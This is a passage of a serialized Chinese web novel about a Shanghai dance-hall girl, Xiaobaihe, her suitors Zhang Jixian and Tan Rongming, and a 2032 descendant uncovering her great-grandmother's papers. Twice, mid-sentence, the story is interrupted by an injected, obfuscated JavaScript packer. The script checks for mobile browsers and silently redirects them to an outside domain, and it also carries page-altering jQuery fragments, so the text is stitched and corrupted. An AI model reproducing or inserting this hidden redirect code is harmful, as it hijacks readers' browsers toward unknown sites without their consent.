陆遥迟疑了片刻,本想问她为何不去学堂上学,但转念一想,民国时正经的女校大多是给富贵人家的女儿办的,小百合既交不起高昂的学费,又无人为她举荐,这么问她,就如晋惠帝问他的百姓“何不食肉糜”。 她转而道:“再给我说说你们小时候玩的游戏吧!听起来很有意思。什么叫‘跑马城’?” 小百合高兴地道:“跑马城啊,就是我们所有人分成两伙……” 她们又聊了很久。 直到关掉了收音机,小百合才意识到,她在刚刚的那一会儿的工夫里,居然没有想起蔓蔓。 20.第19章 日子一天一天地数过去,眨眼就到了年关。 年底时各行各业的聚会和宴请多了,有时也会请舞女前去作陪助兴。有的舞女平日里便广受欢迎,接到的邀约自是一个接着一个。而就算那些没多少客人的,也多多少少被请到了大的宴会上撑场。所有人都忙了起来。 小百合应了三四个熟客的约,又推了几个,把二十九、三十和正月初一这三天空了出来——自送走蔓蔓之后,孤儿院的所有人都一直没精打采的,是时候好好庆贺一番,扫一扫前一年的浊气,热热闹闹地迎接新的一年了。 除了过年之外,还有另一件事让小百合不自觉地松下一口气。尽管这段时间时常不在舞厅,但小百合突然发觉,前一阵子总是在舞场角落喝酒的张继显一时间没了踪影。 不管他是没讨到新鲜,失了兴趣,还是有别的事忽然忙了起来,这对小百合而言,都是好事——尽管小百合说不上多么讨厌他,但被这样一个人物盯上,总归是令人精神紧张。 年底的客人大都比平日出手大方许多。撑过了几场宴会,小百合便收到了不少答谢的礼钱。 小百合将其中的一部分给了孙老三,让他去置办年货,买鸡买肉,准备年画、春联、烟花、鞭炮,自己则留着剩下的给所有人买礼物。 等到二十九,她伴着不时响起的鞭炮声,拎着大包小包回到孤儿院时,到处都已经贴得红红火火。炖肉的香味远远地飘来,年纪最小的十一和梨花眼巴巴地在灶房的门口张望着,又被院长“去、去”地赶了出来,锁上了门。 看到他们难掩失望的表情,小百合终于发自内心地微笑了起来。 有了小百合的补贴,加上院长从口袋里掏出来的钱,他们的年夜饭十分丰盛,摆满了一整张长桌。院长难得笑眯眯地一杯一杯和孙老三喝起了酒,甚至喊小百合陪他们喝上两杯。 小百合依言倒了一小杯,想了想,泼到了地上,轻声道:“喝吧,蔓蔓。你生前没有喝过,死后也尝一尝!” 说完,才又给自己斟满。 孩子们在一旁敞开了吃,一个个吃得小肚子溜圆,仍剩下许多,留待明天继续。 等酒足饭饱,他们便到外面放烟火。 盛开的烟火宛如绽放的火树银花,令人神迷目眩。而在整个上海城“劈劈啪啪”,仿佛永远不会停歇的鞭炮声中,小百合对着上天许愿,许愿他们孤儿院的所有人,朱璇、陶菁,以及远在百年之后的陆遥,在新的一年里能够平安健康、万事顺遂。 只可惜,或许是因为她的许愿中忘记了包括她自己,在过完年的第三天,张继显就又在舞厅出现了。 而且,他做得比年前时更加明目张胆——他不仅坐在小百合周围,还开始支着头,抬起眼,面含笑意,赤裸裸地看。 当小百合与她的客人在舞场中挪动脚步,总能感觉到一道视线在时时追随着她,甩也甩不掉,摆也摆不脱,仿佛她跳舞的地方不是舞场,而是千乐门舞厅中央最大的那个舞台。 到了后来,甚至连她的客人都注意到了,借着人群的遮挡问她:“那边坐的那个人是谁?他为什么总是看着我们?” 小百合当时随意地搪塞两句,敷衍了过去。可日复一日,她终归是忍不了了。 于是,一日,她趁着没有客人,直截了当地坐到了张继显的面前,微笑道:“这位客人,您是有什么事要找我吗?为何总是盯着我?”又道,“在我们舞厅,想要请人跳舞,您直接开口说就好,一支舞算一张舞票,之前结,之后结都可以。” 张继显却没有理会她的话,“哈”了一声,得意地斜笑道:“你若没看我,怎知道我在看你?”又道,“我生性不爱强迫人。你若不愿和我跳舞,就算我请你,也没什么意思。” 听到他这个言论,小百合又是好气,又是好笑,道:“哦?那请问什么有意思?用枪指着人家的头有意思?还是用眼神把别人的客人逼走有意思?” 说完,又立刻懊悔了起来。 来舞厅的客人许多非富即贵,有些人脾气火爆,一点就着,容不得旁人半点忤逆。张继显又是冯督理的手下,她是犯了什么失心疯,要一时嘴快,去招惹这个活阎王。 却不想,张继显只平平地道:“原来你还记着这码事!”说着,他站起身来,捉住小百合的手腕便往外走,“来,我让你看一样东西。” 他的手劲极大,握得极紧,小百合原想挣脱出来,又怕闹出场面,惹人围观,太不好看,只得跟了出去。 张继显一路走着,直绕了一个圈,走到孙老三平日等小百合回家的那条小巷,方才停下来,松开她的手。 小巷里只有一盏昏黄的小灯,周遭堆着杂物,一片漆黑,四下无人。 小百合在灯下揉了揉被捏痛的手腕,张继显倒露出了一个惊讶的表情,道:“我捏疼你了?你怎么不早说?” 若是换了别人,小百合或许还会忍耐一番,说上几句俏皮话,把这话茬揭过去。可不知怎地,面对张继显,她却没了这个耐性,没好气地道:“您哪里给我说话的空闲了?” 张继显不以为意地一笑,道:“那倒是我的错了!”接着,也不等小百合说些什么,从腰间拔出那支他从不离身的手枪,抓起小百合的一只手,拍了上去,“拿着这个。” 他随身佩带的是时下流行的毛瑟枪,看着不大,入手却沉得很,小百合差点拿不住,顿时一惊,道:“这是做什么?” 张继显也不答话,只捏住小百合的手,将她的手指塞入护圈,扣在板机上,举了起来。而后,他打开保险栓,逼到小百合近前,让枪口对准自己的胸膛,道:“来,打我。” 这一下,小百合真心大惊了,道:“什么?!” 然而,不等她反应过来,张继显便将他的大拇指也塞进了护圈,摁在小百合的手指上,扣动了扳机。 “啊!” 小百合吓得闭起了眼。 然而,在“啪”的一声脆响之后,她的头顶上立刻传来了张继显嚣张的笑声,道:“你不是胆子很大吗?怎么这都不敢看?”又道,“你以为,我会带着上了膛的东西在大街上到处走?真正要紧的东西在这呢!” 小百合战战兢兢地睁开一只眼,只见张继显用拇指和食指捏着一排子弹,正冲她露出一个戏谑的微笑。 一股怒气直冲胸膛,小百合转身就走。 张继显追了上来,笑道:“等等,你又生气了?不是你自己说的,不喜欢我拿枪指着别人的头吗?我这只是为了给你演示,我的枪里平时是没有子弹的……” 小百合站住脚,只觉这人怎地会如此荒唐,道:“我对你没有什么喜欢不喜欢的。而且,就算里面没有子弹,您就不能用嘴说吗?定要搞上这么一出?” 张继显道:“只用嘴说,怎么能保证你一定会信我?” 他说得如此理直气壮,竟让人不知他到底是真心的,还只是在开玩笑。 小百合无言以对,又生出几分好奇,顿了顿,道:“那……既然枪里没有子弹,你怎么能肯定,一定能吓住王老板?” 若是枪里有子弹,就算不真的打在人身上,至少对着天花板放一记空枪,也是很吓人的。 张继显道:“王老板?哦,你说的是那天那头猪啊。”他鄙夷地一笑,“像他那样的人我见得多了。钱越多,胆子越小,越珍惜他那条猪狗不如的小命。为了他,不值得浪费我的子弹。” 小百合点了点头,道:“明白了。如果没什么别的事,我就回去了。” 说完,拔脚就走。 张继显又一次追来上来,捉住了她的手,这一次,手劲似是有意地放轻了一些,道:“好好好,这次算我错了。作为赔礼,你有没有什么想要的东西,想做的事?告诉我,我来替你实现。” 小百合甩开他的手,道:“我想让你别在我眼前出现。” 张继显道:“这个不行。去哪里是我的自由。这可是写在我们法条里的规矩!” 小百合道:“那你不许再盯着我。” 张继显道:“这个也不行。我的脚是自由的,我的眼睛当然也是自由的了!况且……你前几天不还和别人一起到舞台上跳舞了吗?别人都能看,凭什么我不能看?” 见他如此不肯罢休,一副不问出她的心愿不肯走的样子,小百合想了想,停住脚,道:“好。既然你说到了自由,我想要的,也是自由!” 张继显一愣,道:“什么自由?” 小百合道:“自由自由,自然是想做什么就做什么,不想做什么就不做什么了!怎么样?你能给吗?” 说到这个地步,小百合原以为张继显自会知难而退,要不就提出让她换一个要求,那小百 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张大班惊奇地瞪大双眼,然而,不等她接过那支票,小百合便涨红了脸,一把将它抢了过来,还给张继显,又羞又怒地道:“我不是这个意思!” 张继显一挑眉:“那你是什么意思?难不成,你还想去杀人放火,打家劫舍?做不做得了是一码事,我主要是怕你的小心脏受不了。” 小百合一时语塞,竟不知该如何解释,只道:“反正,反正我不是这个意思。你赶快把这支票收起来!” 张大班识趣地从他们身边溜走了,只留他们两个在屋子里。 张继显与小百合僵持片刻,终于从她手中接过支票,又收进怀里,道:“既然这样,那只有另一种办法了。” 小百合不知他又要搞什么幺蛾子,道:“什么办法?” 张继显轻描淡写地道:“你嫁给我就好了。只要你嫁给我,自然想做什么就做什么,不想做什么就不做什么了!” 小百合一愣。她早知道他要说些胡话,却想不到竟会这般离谱,不由失笑了出来:“哈哈哈,好啊,我嫁给你。那,我的聘礼呢?我八抬的轿子呢?我萃华楼的凤冠和瑞蚨祥的绣裙呢?” 张继显又气定神闲地把怀里的支票掏了出来,道:“这就算定金,余下的我马上补给你。至于那些细枝末节的问题,以后有的是时间讨论。” 这一下,小百合当真有点恼了。 她叹了口气,道:“张先生,你这么三番五次地戏弄于我,真的有意思吗?” 张继显奇道:“我何时戏弄你了?我说的都是认真的。” 小百合道:“赔一次礼就娶一位夫人,张先生的家眷,该是整个上海滩都装不下了吧?” 张继显道:“谁说的?明明只有你一个。未来也不会再有。” 小百合笑了:“张先生,你知道我叫什么吗?这是我们第一次说话吧?” 张继显道:“第一次说话又怎么了?人只有一颗心,难道会不知道自己想要什么吗?” 他脸上的笑意不知何时消失了,直勾勾地凝视着小百合。他的眼眸漆黑而深邃,仿佛诱惑着人去相信,相信他所说的一切最终都誓必成真,任何人都无法阻挡。 小百合心头一跳,竟突觉他的眼神无法逼视,只得收回目光。 见她不言,张继显又道:“好了,满足你心愿的两种方式,我都摆在你面前了,你选一个吧!” 小百合道:“我不选,没什么可选的。” 张继显道:“那不行。我话都说出来了,君子一言,驷马难追。你不能让我变成一个失信的小人。” “这倒成了我的错了?” “当然了!” 小百合道:“那你待如何?” 张继显勾唇一笑,道:“是你的错,你自然要赔礼道歉。” “……好,那我道歉。” “只用说的?难道就没有什么补偿?” 小百合抬起头,望向张继显的眼睛。 他的眼中又含满了笑意,仿佛玩世不恭,又仿佛胜券在握。 小百合开始怀疑,他是不是从始至终,其实就只有这一个目的。然而,即便如此,她似乎依然不得不顺从他的心意。 小百合叹了口气,无奈地一笑,伸出一只手,道:“那……请问张先生,愿不愿意和我跳一支舞呢?” 21.第20章 自那日之后,张继显变得正常了许多。 他开始像一个普通的客人一样来找小百合——除了他偶尔霸道地把小百合从别的客人手里抢走的时候。 小百合追着客人道歉,他便掏出一把美元,塞到对方怀中,道他与小百合有事要说,赔偿的这点舞票钱,就算是与对方交个朋友,请他吃个饭。 小百合的客人中本也没什么权势滔天,跋扈得容不得丁点冒犯的,要么慑于张继显的一身威势,要么看在他好歹还赔了个笑脸,大多也便就此作罢,悻悻地走了。 只不过这样一闹,那些与她相熟的可能只下次来时问上几句,抱怨一番,那些不够熟的却是再也不会点她了。 小百合曾义正言辞地让他不要这么做,然而张继显却强词夺理地声称,她与那些客人跳舞都是为了钱,自然不是心甘情愿,只有他本人是小百合亲自邀舞的,地位当然与旁人不同。他这么做,只不过是为了把小百合从水深火热里拯救出来。 小百合听得又是好气,又是好笑,正色问他,他吓跑了她这么多客人,以后如果对她失了兴趣,她该怎么办? 张继显便又掏出他从不离身的支票簿和派克牌钢笔,写上一张,撕给小百合,支票上的数字一次比一次更大,道:“这就当作我给你的聘礼,只要你一点头,我们立刻去登记结婚!” 小百合总是把支票抢过来撕掉。然而,这一次,看着支票上那笔足够一户普通人家用上五年的数字,她似笑非笑地问张继显:“你就不怕我把你的支票兑换出来,偷偷跑了?” 张继显奇道:“这有什么?我把钱给了你,那就是你的。你偷偷跑了,我天涯海角把你追回来就是了。” 小百合笑道:“追回来做什么?软禁么?” 张继显道:“怎么会。你偷偷地跑了,肯定是因为我哪里做错了什么事。我把你追回来,自然只是想再有一个机会,让你看看我的真心了。如果还是不行,我还能强求你么?” 小百合脸色一沉,道:“好。既然你说到了真心,那你表现真心的方式,就是惹我不快么?” 张继显道:“我怎么惹你不快了?” 小百合道:“你在我跳舞的时候把我的客人赶走了,还问我怎么惹我不快了?” 张继显道:“只不过是几支舞而已……” 小百合道:“几支舞怎么了?我会在你做什么正事的时候去找你,拖着你去陪我看戏么?”话一出口,眼见张继显立刻挑起眉,露出饶有兴味的神色,小百合气恼地一甩身,道,“你知道我说的是什么意思。” 张继显沉默片刻,道:“可我不想看着你在别人的怀里。” 小百合把身子又微微转了回来,道:“这只是我赚钱的活计而已。”而后,不等张继显开口,接着道,“以后你什么时候来,提前告诉我,那晚我谁也不接。”让他这么闹下去,还不如她自己提前推拒了。她顿了顿,又道,“哪怕你最终没能来成,也没有关系。” 张继显凝视了她良久,才道:“……好。” 小百合直觉他误会了什么,但若非要澄清,反倒像她口是心非似的,也只得随他去。 小百合原以为张继显绝不肯如此轻易罢休,却不想他当真遵守了承诺,在那之后再也没突然来找过她,也再未骚扰过她别的客人。 他们聊天、跳舞、看戏,张继显出手阔绰,但除非心血来潮,几乎从不给她买礼物。 然而,一次,他偶然得知小百合他们孤儿院的情况,竟让他的手下拉来了一车一车的衣服、被褥和一袋袋的粮米,停下来便指挥人往孤儿院里搬。 他行事前并未与小百合商量,只让她第二天在孤儿院等候。 望着不断运来的物资,他们院长的脸上笑出了褶子,小百合的心中却十足不安。 她不知道该如何回报张继显——寻常客人送给她的珠宝首饰虽说昂贵,但毕竟是些小玩意,如果他们向她讨要,她随时都可以把它们还回去。张继显给她的,却是她一时半会还不了的。 她原本想要推拒,甚至拦在了张继显正在搬运的手下身前,可望着孤儿院的孩子一拥而上,欢呼雀跃的身影,她想说的话却怎么也说不出口了。 张继显似是看出了她的为难,一把将小百合拉到一边,笑道:“我知道你在想什么。你不用现在就开始考虑要怎么把这些东西还给我。我这也不是完全为了你。正好,你看,他来了!” 发动机的轰鸣声传来,小百合顺着他的眼神望向巷口,只见又一辆小轿车停在了孤儿院的门前。一个戴着帽子,西装革履的人从车上下来,与张继显握了握手,寒暄几句,便走进了孤儿院。 他在孤儿院里转了两圈 ,观察了一阵,而后拿出笔和本,开始记录了起来。 小百合这才意识到,他是一个记者。 那记者在本子上写了没几笔,便又和张继显打了个招呼,坐车离开了。 送走了人,张继显才冲着小百合促狭地眨了眨眼,道:“就算是冯督理这样的人,有的时候也得做一做善事,来提高自己的声望。” 果然,没过两日,小百合在《救民日报》的一角找到了一块豆腐块文章,讲的是冯督理在百忙之中仍心系百姓,为本市某孤儿院捐款捐物,慷慨陈词他此举实乃其仁慈之心及社会责任感之体现,她才终于稍稍安下心来。 随着与张继显来往的时间愈长,小百合惊奇地发现,她在与他的相处时竟是格外的轻松。 她好像没有任何话不可以对他讲。她可以嘲弄,可以讽刺,可以揶揄,可以挖苦,而他不觉得受到了任何冒犯,只会以同等的力道反击回来。 在交谈中,她慢慢了解到原来张继显也是个孤儿,从小寄居在叔婶家,受尽了打骂。等年纪一到,他便立刻离家,报名入伍,投身军旅,并因能力出众层层擢升。 之后因为一个偶然,认识了冯督理,因为他的果敢和谋略得到了对方的赏识,成为了他的左右手。 “好厉害。”小百合真心实意地道。 张继显却轻描淡写地道:“这有什么,只是为了活命罢了。”说完,他的眼睛一转,望向小百合,“既然觉得我这么厉害,干脆嫁给我好了?” 小百合气恼地一扭头,不再看他:“你又胡说!” 张继显道:“我可从来没有胡说过,只是你从来不肯信罢了。” 小百合安静下来,没有接茬。 其实,她也不是没有想过,要不要问一问陆瑶,问问她知不知道张继显未来的命运。 冯督理这般有权有势,想必他一生的轨迹都在历史书中。那张继显作为他的下属,会不会也偶尔被记上几笔? 她并不是想通过这样作弊来评判张继显是不是一个可托之人,只是纯然好奇,好奇这个在她生活中出现的人,是不是也在历史中留下了痕迹。 然而小百合想了想,最终还是决定作罢。 且不说陆遥愿不愿意告诉她,在与陆遥成为朋友的现在,她不想让陆遥对她有任何误会,以为她煞费苦心地掩藏了这么久,终于暴露了她真实的目的。 张继显来舞厅的次数愈来愈多,而与之相对,谭荣名来舞厅的次数则愈来愈少。 每次来时,他都越发沉默,只一支接着一支地拥着小百合跳舞。再没有他过往留学时的趣闻 ,也没有对近来时事的评判,甚至连以往从不落下的百合花都没有了。 他们之间有什么东西已经彻底改变,再也回不到从前了。他和小百合两个人都心知肚明,却没有人去戳破。 就在小百合以为他们又要度过一个沉默的夜晚时,谭荣明突然清了清嗓子,艰难地开口道:“小百合……我,我要走了。” 小百合惊讶地微微挑起眉:“走了?要去哪里?” 谭荣名犹豫了片刻,道:“有一位……大人,让我们直接把进口的药运去北方。我一时半会儿应该是回不来了。” 小百合道:“这样啊……”她莞尔一笑,“这是好事。谭大哥事业亨通,我只能在这里祝你一路顺风了!” 谭荣名凝视着她,声音莫名嘶哑了几分,道:“我好像已经很久没听你这么叫过我了。” 小百合避开他的视线,道:“有吗?我不是一直这么叫的吗?” 她话音落下,正好一曲结束,音乐止息。 小百合正欲转身去拿两杯喝的,借口离开,她的手却忽然被谭荣名紧紧抓住。 她回过头,只听谭荣名急切地道:“你跟我一起走吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643363|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小百合讶然道:“一起走?” 谭荣名急急地道:“对!一起走!我本来也需要一个秘书来帮我处理杂事!你本来也会读书识字,你跟我走,离开这里,要多少钱我都给你!” 小百合淡淡地笑了:“多谢谭大哥了。不过我以前没做过这个,恐怕会做不好呢。而且,我对这里的生活也挺满意的,就不劳谭大哥费心了!” 她试着把手抽出来,谭荣名却不肯放手:“你一直在这里跳舞,能有什么出路?你随我一起去北方,哪怕不愿一直跟着我,之后也能再去找别的职位,总比一直呆在这里强罢!” 小百合停住了动作,道:“好!假如说我真跟你去了北方,以秘书的身份与你出双入对,接见客人,出席宴会。来往得多了,总会有人问起我的出身来历,到时候,谭大哥你该怎么说呢?”她顿了顿,又道,“还是说,谭大哥你要永远把我藏在背后,不让我见人呢?” 谭荣名一时语塞。 小百合微微一笑,道:“算了吧,谭大哥!我知道你是为我好,但真的不必了。你放自己一马,也放过我。” 她抽身欲走,谭荣名却仍旧不肯撒手:“不,不行……你说的这些问题总有解决的办法!总之你先跟我一起去再说……” 他们的动静太大,越来越多的人看向了这里。 小百合心中为难,正犹豫要不要先安抚好他,把他拉到暗处再说,忽然听到一道慵懒而熟悉的声音传来,道:“怎么,这光天化日、朗朗乾坤,还能有这种强抢民女的事?” 小百合抬眼看去,只见张继显从人群之后闪身而出,来到他们跟前,一手握住谭荣名的手腕,一手握住小百合的手,猛一发力,便强硬地把谭荣名的手掰开了。 谭荣名用力甩开他,抚住腕上被他掐出来的红痕,怒道:“你是什么人!这是我们两个人的事,与你有什么关系!” 张继显整了整衣襟,状似不经意地露出别在腰间的枪:“首先,不能让你这样的人在这里胡作非为,这是我的责任。”说着,他又后退一步,一把将小百合揽进怀里,“其次,你对我的人动手动脚,还问与我有什么关系?” 听他这么说,小百合只觉一股血气直往额头上冲,恨不能脚下立时裂开一条大缝,赶紧把她吞进去。 她下意识地想要挣扎,然后再给上张继显一脚,然而转念一想,又忍住了。 谭荣名见她乖乖站着不动,眼里立刻闪出愤恨的光来:“好!好!我们今天先到此为止。小百合,你等着!我会回来的!” 说完,他破开人群,冲了出去。 看着他彻底消失,张继显才懒洋洋地一摆手:“好了,散了吧!有什么可看的!” 角落里的乐队再次奏响乐曲,人们又跳起舞来。 小百合甩开张继显搭在她肩上的手,整了整裙子,道:“你怎么来了?不是说这两天不来了吗?” 张继显撇了撇嘴,道:“今天开会提早结束了,本来想给你个惊喜,结果倒看了场好戏。” 他的语气里竟还有几分委屈。 小百合默然片刻,道:“谢谢了。” 张继显挑起眉:“怎么?难道你以为我会眼睁睁地看着他拉走你?” 小百合哭笑不得,道:“我不是这个意思……” “哼,料你也不敢这么想!”张继显道。说完,他摸了摸下巴,又道,“不过,那家伙有一点说的倒是对的。” 小百合一怔,道:“什么?” 张继显道:“你就这么一直在舞场跳舞跳下去,也不是个事。”他想了想,又道,“你听说过卫香兰吗?” 小百合惊异地眨了眨眼。 上次她和朱璇她们在剧院门口的海报上看到过这个名字,朱璇还说她见过这个人。只是,她们却没想到,那电影后来竟一炮而红,其中卫香兰出演的女配角格外出彩,倒让她一时间红遍了上海滩,甚至连她角色的发型、衣服的款式、佩戴的珠宝都风行了起来。 那两日朱璇请了假没来舞厅,她和陶菁还议论过这件事。 小百合答道:“她这阵子这么出名,我自然是听说过的。怎么了吗?” 张继显微微一笑,道:“你想不想成为第二个她?” 22.第21章 2032年。 “阿嚏!阿嚏!阿嚏!” 林梦晨慢慢地掀开尘封已久的硬纸箱盖子,被从中飘出的灰尘呛得打了三个喷嚏。这纸箱很大,因为放了太久,早就斑斑驳驳。刚才把它从柜子顶上取下来时,林梦晨就生怕用力太大,不小心把它扯破了。 她揉了揉鼻子,又在箱子上方扇了两下,把灰尘扇走,接着小心翼翼地往里探头一看,不由轻轻地“哇”了一声——她的姥爷居然还保留着这么多资料,全是关于她祖奶奶的! 在接连工作了几个月之后,林梦晨终于听从了周超的劝说,给自己休了几天假。到家后没两天,便跟着她的母亲一起来探望姥爷。 她的姥姥前些年去世了。在她去世之后,林梦晨的姥爷不肯搬去与他们同住,坚持要留在他已经住了一辈子的家属院。她的妈妈拗不过他,只得请了一位远方亲戚张婶来照顾他,任由他留在了这里。 她们来时,她的姥爷正好不在家。据张婶说,现在是他每天散步的时间,他正好出去走路去了。 林梦晨的妈妈对张婶抱怨道:“我们晨晨好不容易回来一次,他怎么就不能歇上一天?” 然而林梦晨却丝毫不觉得奇怪。 在她小时候的记忆里,她的姥爷就是个极为严肃的人。刻板守时,不苟言笑,每天都有着必须遵循的时间表,不能有半刻差池。即便早就退休了,仍总是戴着他的老花镜,坐在摇椅上捧着一本大部头的书读,远不如她的姥姥和蔼可亲。 她小时候他们一家人常驻国外,直到林梦晨快上学时才真正回国。 与姥爷相处的时间不长,林梦晨自然对他又敬又怕。然而,她却又忍不住好奇,好奇他手中那又大又厚的书里到底写了什么。她不敢去问姥爷,便去问她的姥姥。 于是,她的姥姥就会把她放在膝上,拿出一本远超出一个孩童理解能力的科普书,开始对她讲太空,讲宇宙。她母亲对她讲述的童话也便就此被林梦晨遗忘。 直到后来,林梦晨也学了与她的姥爷一样的专业,开始与他交流专业知识,才慢慢地与他亲近起来。 张婶说,她的姥爷在吃晚饭前才会回来。林梦晨想要帮张婶和妈妈一起做饭,却被张婶“去、去”地赶出了厨房,道:“小孩子家家好不容易回来一趟,帮忙做什么饭!” 于是林梦晨便只得坐回了客厅,一边啃水果吃,一边百无聊赖地用手势在电视的节目界面翻找,看看有没有什么好看的。 她用手指滑了两下,刚好滑到了儿童频道,一个个仿佛要冲破屏幕般的可爱角色立刻对她手舞足蹈了起来,还有几个圆鼓鼓的五角星,长着一副笑脸,在频道的边缘摇摇摆摆。 “我只是听到了星星的声音。” 陆遥的这句话在林梦晨耳边猛然响起,她心中一动,喊道:“妈!你还记得我小时候你给我讲的故事吗?” 她的妈妈从厨房探出头来,手里还拿着一颗西红柿,道:“我给你讲的故事?什么故事?” 林梦晨道:“就是我小时候,你们都去上班了,你让我自己在院子里看星星的时候讲的故事。” 她妈妈道:“院子?哦,那会儿啊……有吗?” 林梦晨道:“有啊!你都不记得了吗?你还说,那也是我祖奶奶给你讲的故事呢!” 她妈妈若有所思地蹭了蹭下巴:“好像是有这么一回事哦?不过你突然这么一问,我还真有点想不起来了。你怎么突然想起来问这个了?” 林梦晨道:“没事,就是随便问问而已。” 她妈妈顿了顿,又道:“如果你真好奇,可以去问问你姥爷,他应该还留着你祖奶的不少东西呢。” “哦,这样啊,好吧。谢谢妈!” 林梦晨随意地应和了一声,便又回到了寻找好看节目的搜寻大业中。 果然如张婶所说,她姥爷正好赶在吃饭之前回来了。 哪怕是在吃饭的时候,她的姥爷也是腰板笔直,正襟危坐的。他一边慢慢地吃,一边询问林梦晨工作的近况。细细问完,得到了满意的回答,才终于点了点头,对她露出一个微笑。 林梦晨轻轻松了口气,正要问他祖奶奶的事,眼角余光瞥到餐桌对面墙上挂着的字画——那字画她家客厅有一幅,她的桌子上也摆着一幅,忽然想到了另一个问题,改口道:“姥爷,您背后挂着的那首诗,到底是讲什么的呀?” 林梦晨从小就很喜欢那首诗。而在得知她的曾祖母曾是参与研发“东方红一号”卫星的工作人员之后,这喜爱又渐渐地变成了向往,最终引领她同样投身到了航天事业之中。 然而,仔细想来,她似乎从未真正去询问过这首诗的来历,以及它背后的故事。 它到底为何会这么重要? 不仅挂在她姥爷家,她妈妈家,也挂在她的舅老爷家,她的姨奶奶家,她的大舅表舅、二姨小姨家。她们的家族在全国,乃至全世界开枝散叶,这首诗也就跟着他们传向了四海八方。 为什么?为什么它这么重要? 听她这么问,林梦晨的妈妈也抬起头来,疑惑地道:“你今天问题怎么这么多?这诗不是你祖奶奶写的,讲卫星的吗?以前还在报纸专栏里登过呢!” 林梦晨道:“我知道!可是……”她一时语塞,又想起她刚刚入职时周超说的话,道,“可是我同事还问我呢,说这诗里怎么藏着一个坐标,该不会是什么宝藏的位置之类的吧……” 她妈妈笑了:“哪有这种事!” 林梦晨的姥爷审视地看了她两眼,终于开口了:“你大舅小时候也问过我这个问题。他怀疑这坐标是不是你曾祖母发现的某个未知的星体,用天文望远镜观察过一整年,什么也没有发现。” 林梦晨道:“那我祖奶奶对您说过吗?她为什么写了这首诗?” 林梦晨本以为这只是一个简单的问题,却没想到,她姥爷的眼神竟瞬间飘远了,仿佛在一刹那间穿透了林梦晨的眼眸,穿透了他们眼前的一切,望向了几十年前。 他沉吟了许久,才说道:“你曾祖母是个很聪明,很有想象力的人。她说过很多有趣的故事,奇怪的话。但有的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“待会去拿给姥爷看看,问问他好了。说不定他会知道些什么。”下定了决心,林梦晨这才珍重地将照片放在一旁。 而后,她便开始翻阅剩下的那些资料。 其中散乱的稿纸上写的大多是数学算式,硬壳本中记录的则是对航天技术的种种设想。 林梦晨慢慢地翻看,心中敬意油然而生,甚至比她什么也不懂的小时候更甚——他们对课本里的知识习以为常,却时常忘记那是一代代先人用自己的智慧和心血在荒野中蹚出来的路。 然而,真正引起林梦晨兴趣的,却是那些报纸。 那些被留存起来的报纸中有她曾祖母署名的论文,有对她取得的成就和荣誉的简介,有挂在他们家墙上的那首诗,这些都不足为奇。让林梦晨没想到的是,压在箱底的最后一摞报纸上,登载的居然都是她曾祖母创作、发表的科幻小说! 每一份报纸都叠得整整齐齐,让“白红梅”的署名显露在最上方,一目了然。 林梦晨拿起一份,刚读到第一行,便登时一愣——她曾祖母小说里的女主角,居然也叫做“陆遥”! 23.第22章 “居然这么巧的吗?” 林梦晨想。 不过,“陆遥”确实也不是什么罕见的名字,对于像她们这样的航天工作者,似乎更像是一种信手拈来。 陆遥,陆遥,她们每天所研究的,可不就是与脚下的陆地隔着千万里之遥的星星和机器们吗? 林梦晨在心里对自己笑了笑,将这件事暗暗记下,准备等回去之后,有机会把它当成一件趣事讲给陆遥听,便接着往下读。 她手里拿着的这篇小说里写的是一个女孩与“月球人”成为朋友的故事——月球人乘坐的火箭在地球上不慎坠落,正当一筹莫展之际,遇到了恰好在田野中捡拾柴火的女孩。 他们语言不通,便用木棍在吐地上作画,慢慢地学会了用绘画交流,最终,月球人历尽艰难,在女孩的帮助下找齐了修理火箭的材料和工具,得以重回故乡。 故事的情节极为简单,两个角色之间的互动,以及他们之间逐渐建立的情谊却看得林梦晨心中十分温暖。 她的祖奶奶在她很小很小的时候就去世了,林梦晨对她没有任何印象,只从她的妈妈和姥姥姥爷口中听过她的故事。 但不知怎地,仿佛仅仅是通过这么一个简单的故事,她便更了解她了一点点。 像这样的短篇小说还有好几篇。 果然如她姥爷所说,她的曾祖母是个想象力丰富的人——尽管有的情节此时看来早已不算稀奇,但那毕竟是几十年前创作的故事。 在读到她祖奶奶的作品之前,她都没有想到过,原来那时候国内就已经有科幻小说了。而其中一些,林梦晨甚至能看出小说里科普的意味,或许是报纸向她祖奶奶约的约稿。 然而,不论情节如何,内容如何,这些小说里的主角,她们的名字都叫做“陆遥”。 “或许你真的很喜欢这个名字吧?” 林梦晨看了一眼在照片里长久微笑着的女孩,想。 她知道,有的艺术导演是会给自己不同电影的角色起同一个名字的。但无论如何,那名字本身,必然也对他有着特别的意义。 她继续翻看着余下的报纸。 就在林梦晨以为她祖奶奶写的所有小说都是类似的中短篇时,突然发现一张报纸专栏的小说标题之后,跟了一个“一”字。 她的精神陡然一振——莫非,她的曾祖母还在报纸上连载过长篇小说吗? 林梦晨做好了认识小说中另一个“陆遥”的准备。 可是,出乎她的意料,这次第一个出场的角色却并非陆遥,而叫做“百合”。 “这个名字可真不错。”她想,“可是,这个世界上真的有姓‘百’的人吗?” 她接着往下看,果然,没过多久,“陆遥”又出现了。 小说中首先登场的“百合”是一名研究卫星的科研人员,或许就是以她的祖奶奶自己为原型的。而“陆遥”却是一个来自遥远未来的人——那时候,人类已经可以在星际间自由地航行,任何一个行星上都有人类的驻地,只要通过选拔,就能前往。 